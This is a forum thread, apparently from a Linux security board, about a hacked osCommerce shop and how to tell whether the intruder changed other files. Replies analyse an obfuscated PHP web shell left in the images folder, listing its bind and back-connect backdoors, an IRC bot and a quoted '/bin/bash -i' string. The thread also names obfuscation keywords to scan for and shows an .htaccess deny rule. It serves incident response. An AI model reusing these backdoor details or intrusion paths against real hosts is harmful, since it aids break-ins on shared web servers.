file compare
 

I had a hack on my oscommerce website recently.
I have put in the relevant security patches but I need to check whether the hacker left any code changes in my files.
What is a good file comparison software for linux?
I need it to scan though the current files and folders and compare it the original default oscommerce installation so I can check the code.

fslint can do a byte by byte comperation and will list duplicates. You can do a diff combo inside a loop as well.

If this is CentOS as in your profile, then use rpm -V to verify the integrity of the installed packages. Check out the rpm man page for options that might be useful.

For things not covered by rpm -V, you've got a problem unless you had previously installed something like Samhain, AIDE or OSSEC and had it create a database of file hashes.

By the way, why do you believe you can trust this machine enough to leave it online?

It's not the machine, it's a separate web folder stored on a hosting site.
I need to compare the existing files now that it has been patched. I've virus checked all the files and used an add on called sitemon to check for files with eval system or base64decode in them but I need to check for any diffs now.
Also, oscommerce is not a centos or Linux package as far as I know, it's a PHP downloadable template site isn't it?
Furthermore, I need to get the 2.2 rc1 default from somewhere and am not sure where - OSC don't list it on their website anymore. I need to do this before I can upgrade versions.

Sorry, I don't mean to derail this, but I'm not sure your looking at this the right way. If your site was cracked, that means the bad guys has some level of access to the machine itself, not just oscommerce. They may have only gotten Apache level access, but I would be very hesitant to assume that. Has there been any investigation into how the machine was compromised?

If they managed to get out of your oscommerce folder, all of this is pretty useless.

I'm not familiar with oscommerce, although a quick look at the website suggests you are right. Personally, I find that very disturbing since a PHP misconfiguration can cause a lot of security issues.

Which all brings me back to the idea that since you are using this for commerce, you had better be 100% sure that you have detected and contained the entire compromise, not just the symptoms. Do you have any assurances that you have done so?

It's on a shared webserver...hosted.

FWIW, I have just used Meld viewer to compare differences in files and it seems no other files were compromised on the server just 1 php file placed into the images folder. All password etc have been changed so will see if it happens again.

That's fine, but has anybody actually investigated how far this compromise went? Or even how it happened in the first place? Does the hosting service know about this? From the reading I've been doing on oscommerce, it has most definitely had its share of security problems.

That seems to be an exceedingly common symptom of trouble on oscommerce. And the question still stands: What does that script do? How did it get there?

And how will you know if something different is happening?

The hosting company doesn't care, they just say use a virus checker and change the ftp login - LOL. I then asked them for the logs and they say they don;t send logs to customers so I am left with having to replace the entire folder or identify any file differences, of which there don't seem to be any.
It is likely this was an admin bypass script but I can't be sure.

Here are snippets of the 2 files:
other in pastedump as it is longer: http://www.pastedump.com/paste/1391

Because of the hosting company, I can't tell what was created and where or whether they were just uploaded but not actually accessed.
The files were created with 777 and I can't see any others like that plus I did a file diff check and it seems to be the only folder with changes (images folder).

The eval, gzinflate, str_rot13 is a commonly used tactic to obfuscate code, as indicated by a simple Google search. This code, may have actually been executed on this system, which is a real red-flag cause for alarm. Furthermore, this code sets "auth" to zero, which suggests an attempt to execute with root privilege and sets error_reporting to 0, which suggests that it is an attempt to get it to execute silently.

One of the primary problems I have with this situation is that a file was uploaded to the server, which presumably was protected with sufficient permissions. Apparently the hosting provider is simply assuming that it was a password crack (btw, saying that you chose a weak password and that it is your fault), and running a "virus" scan. Quite frankly, "viruses" should be the least of the concerns.

There is a real possibility that this machine has been compromised well beyond your web page folder. It is entirely possible that a known exploit was used and determining this will require an in-depth investigation including an in-depth review of the logs, the state of the connections, the validity of the OS itself, etc. In other words all of the things that are done on a possibly compromised system.

It is your responsibility to insist that these things be done and to your satisfaction. Since you are simply a 'web folder' customer, you might want to start with a review of your contract with the hosting provider to see what forms of redress you have with them. To me, it looks like they are being supremely negligent in their duty. I would also consider moving your service somewhere else, unless this issue is resolved to your satisfaction.

At a minimum, you indicated that this file had 777 permissions. May I ask, who the owner of the file was and does this in any way indicate a more sever compromise than an ftp password crack?

I don't have any ftp accounts with access to the web root so it couldn't have got there by that route. Also, root access is not possible on the webservers unless a hacker got in by some other route through another shared site.
The host has been hacked before but it seems unlikely it was that route seeing as it targeted the images oscommerce folder.
All files on the server are owned by "You" and so was this file, which means it was likely created through the admin bypass options or somehow hacking in through a script.
The host company refuses to look into it so I can't track it - I can't see any other compromises and have carried out as much security blocking, renaming folders, etc, as I can so I'll have to wait and see.

Probably talking above my pay grade, but 1) I'd look into a new hosting company and 2) if you're accepting and storing credit cards, you could be in for a world of hurt if that information is compromised. I don't know about UK law, but in the US there are some pretty stiff regulations that have to be followed.

I don't think this is an FTP crack/guess. From the little digging I've done so far, oscommerce isn't a particularly secure application, and one of the more frequently reported symptoms is uploading strange files to the image directory. I suspect some poor PHP coding practices are leaving oscommerce vulnerable without any additional help.

No, I purposely leave all credit card info and security up to the payment card site, it's better that way.

I don't think it is either, but I think it is what the hosting provider is trying to claim at least as their default answer. The benefit of taking this stance is that it makes it the customer's fault. I also second your motion of get a new provider. This thread really raises the importance of reviewing and understanding the govern terms regarding compromises BEFORE signing up with the provider.

I agree, it is the lazy way out. What I also don't like about this arrangement is that qwertyjjj probably has no control over global PHP configuration. If the provider is this negligent about following up on intrusions, is there any reason to be even moderately hopeful that PHP is secured? If there are lots of PHP applications running, I bet they set it so it doesn't generate complaints, which probably means turning off a lot of the security.

Also by putting this in the images folder, it prevents any php files from being run:
Options -Indexes

<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
Order Deny,Allow
Deny from all
</FilesMatch>

Actually, no it doesn't. All I have to do is use an extension that isn't in that list (or don't use one at all), make the file executable and run it. You might stop the skiddies with that, but to stop anyone with skill, you would need to remove execution privileges from the directories. For a lot of PHP applications, that actually causes trouble.

they can 't run it through a url using that though?
Nothing can be run on the server due to security permissions if correct apart from apache.
safe mode is on also.

However, according to your statement on 4-23 at 03:34pm: If the file had 777 permission, anybody, including the Apache user, could execute the file. If this was really the case, it is a safe bet that the perpetrator actually ran code on this system. Remember, the file was written in a classic manner to obfuscate and decode stuff for execution.

Normally, if the permissions are set properly, no they can't execute code. There was a recent discussion, where I believe the conclusion was to have the files owned by root with read permissions was the best option. Unfortunately, this won't work in a hosted system, or where there are multiple developers and other techniques must be used. This assumes, of course, that the PHP and Apache have been properly patched and are sufficiently current versions, which as Hangdog pointed out is subject to question given their apparent attitude. If these applications have not been patched, they really could be in for a world of trouble.

As an example, there are techniques that will cause Apache + PHP to retrieve a file from a remote hostile host and then inject that code into itself and begin executing it. This doesn't even require skill, as the tools are nearly fully automated. Once they get to this point, they can execute code, watch process, etc. In Linux, it thankfully becomes more difficult to gain access beyond the limited privileges of web user that is used.

That may slow them down from running via a url, but if they have gained access via other weaknesses, this could be a moot point. And as Noway2 points out, a lot of this stuff is now pre-packaged for the convenience of all those l33t h4X0rs out there.

Initially they may only be able to run as apache, but if they are truly after the machine, one of their first tasks will be to look for vulnerabilities that allow them to escalate to root privileges. That is why I find the "meh" response from your hosting service so disturbing. Responsible hosting services take intrusions seriously.

But that's what I'm getting it, the user cannot run the file through a URL due to the htaccess file unless it is changed or deleted of course which could be run through code.
I suspect this was an automated hack (the site is being continually scanned for hacks as I can see when code injections are trying to be run) as files were placed into the images folder.

I did have one experience with this hosting company before where someone got in through a forum hack B2B or something like that where they managed to change a few thousand sites and put up a picture of the Iranian president but that was all patched. So, it's not out of the realm that they haven't patched things as much as they can but I think they do a pretty good job. If you have a hosting company that runs thousands of sites, I'm not sure how they can control it more than to lock down permissions to the apache user and also use safe mode preventing system commands from being run.

At this point, I would have to ask where you want to go with this investigation, if anywhere at all?

To summarize what we have so far:
1 - files have been uploaded to your portion of a hosted server
2 - the files had 777 permissions
3 - The file contained code that was deliberately obfuscated. It is currently unknown whether or not they have broken the web user jail and gained further compromise into the system.*
4 - The general impression is that this was not a password crack of your FTP capability, as the provider suggested, but there has been no evidence to this effect
5 - The provider ran a "virus" check and found nothing. In my opinion, this is pathetic in terms of response and is woefully negligent on the part of the hosting provider in that it leaves many customers potentially vulnerable and unaware.
* - note if they did NOT crack your password, they must have been able to get some code to execute on the system in order to upload the files. As previously mentioned, there are tools to do this provided you expose the proper vulnerabilities. The question becomes: did they break the web user jail. Evidence is lacking here.

Aside from the above, I don't see that we have much of anything to work with. For starters, we are lacking logs. Second, the system has undoubtedly been operational since the event and either the intruder is successfully entrenched or they feel they got "caught" and moved on, or they are waiting to try again. This means what evidence did exist, may have been destroyed by now.

In either case, the opportunity to properly investigate this situation has probably been lost at this point, largely through both inaction and inappropriate action on the part of the hosting provider.

My thought is that determining whether or not the system has been compromised beyond your web folder should be the top priority. Given the structure under which you are operating, the responsibility for this belongs to the hosting provider. I think the only thing left for you to decide is whether or not you believe that they handled the situation adequately, and if you wish to continue to do business with them as a result of their handling.

Well I don't know PHP. However, I did the common eval to print trick used to decode javascript and the first thing I decoded was for sending email to the attacker's address. The variables with obfuscated content use a function for the same kind of decoding.

$port_bind_bd_c = A simple backdoor written in C. "Welcome to b374k shell && /bin/bash -i"
$port_bind_bd_pl = As you might guess another simple backdoor written in Perl.
$back_connect & $back_connect_c = Simple Perl and C programs for back connections. The Perl one (first) automatically runs the standard uname -a; id.
img.jpg = An IRC bot written in Perl.

As you can see from the PHP script, it also attempts to compile/execute those backdoors.

Well, I have no control over the port bind and other things or whether the attacker got into the servers, that's up to the host company.
I'm most concerned about whether they changed any of my files and it seems not so it's more than likely they got in through the oscommerce security flaw, which has now been fixed...if the file was in fact executed at all.
I can only wait it to see if any more files get uploaded as there is nothing the host company will do apart from to say wipe out the folder and reload from your backup.

So I have to know. What hosting company is this? I want to make sure I stay away from them...

It's up to both of you. A proper security model requires that all parties be concerned.

Good that you know what went wrong. Bad that you don't even know if the file was accessed. Let me put it to you this way - if you don't have access to your traffic logs, drop that company. If you look at the logs, it will likely have been accessed, but we can't know for sure without access. If the script was accessed, probability of being trojaned is pretty high.

I'd say wipe your contract with that company. That's a pretty irresponsible stance to take.

I don't know what is more disturbing. The big provider not caring about all of their customers, or the OP not caring about his provider, server and his own customers.

I care about the customers but like I said there is no problem in the PHP files and I don't store any sensitive info on my site or db.
To hack the machine the guy would have to have root privileges, which isn't possible through the architecture of hacking via a PHP script on apache.

Seriously? Hack web app, get system access as Apache user, use local privilege escalation to get root...

Using a certain freely obtainable Linux distribution known for penetration testing, it is easy for even a script kiddie to analyze your system and if sufficiently un-patched cause your web server to upload attack code and begin executing it. At this point, they would have shell prompt access to this system and can easily move around amongst the different processes and perform tasks as an unprivileged user.

From what you have posted it looks like you are assuming that it was a security flaw in OsCommerce that has now been patched. I state this because I have not seen any evidence posted regarding how you have reached this conclusion. So far, this thread has been a lot of supposition, not facts. Unless there are facts and details for us to analyze, which so far you have been unable to obtain, there is little to be gained from this thread.

Whether or not to continue to operate with this provider is your choice.

I think Noway2's summary pretty fairly wraps up where this is now. Without the cooperation of the hosting company, there simply is no way to tell if the uploaded file was ever run or not. It is pretty clear from qwertyjjj's postings, that information simply will never be available. It is probably also impossible to give qwertyjjj any sensible advice on securing the site from here out. There are just too many unknowns that can't be investigated without the help of the hosting company.

@qwertyjjj

I know you came in here with a simple request, and from your standpoint it might look like this spiraled out of control. What I would say is that from the standpoint of many of us, you were asking for a band-aid to cover a cut whilst ignoring a pretty major hemorrhage. You seem to have some pre-conceived notions about what crackers can, and cannot, do that simply don't jibe with the experience of a lot of us. Between that and the irresponsible behavior of your hosting company, a number of us are hearing very loud alarm bells. That is why this thread has gone this direction.

PHP runs with safe mode so there is no way to run system commands through the web app.

How many systems have been compromised in a manner that wasn't supposed to be possible?
How many zero day exploits have been found after a vulnerability had been in the code for years?
Here at LQ security we have even been on the forefront, investigating previously unknown vulnerabilities. Take the recent Exim privilege elevation vulnerability for example.

Running things like PHP safe mode and Mod Security do help, but they are certainly not impregnable. It is foolish to think otherwise.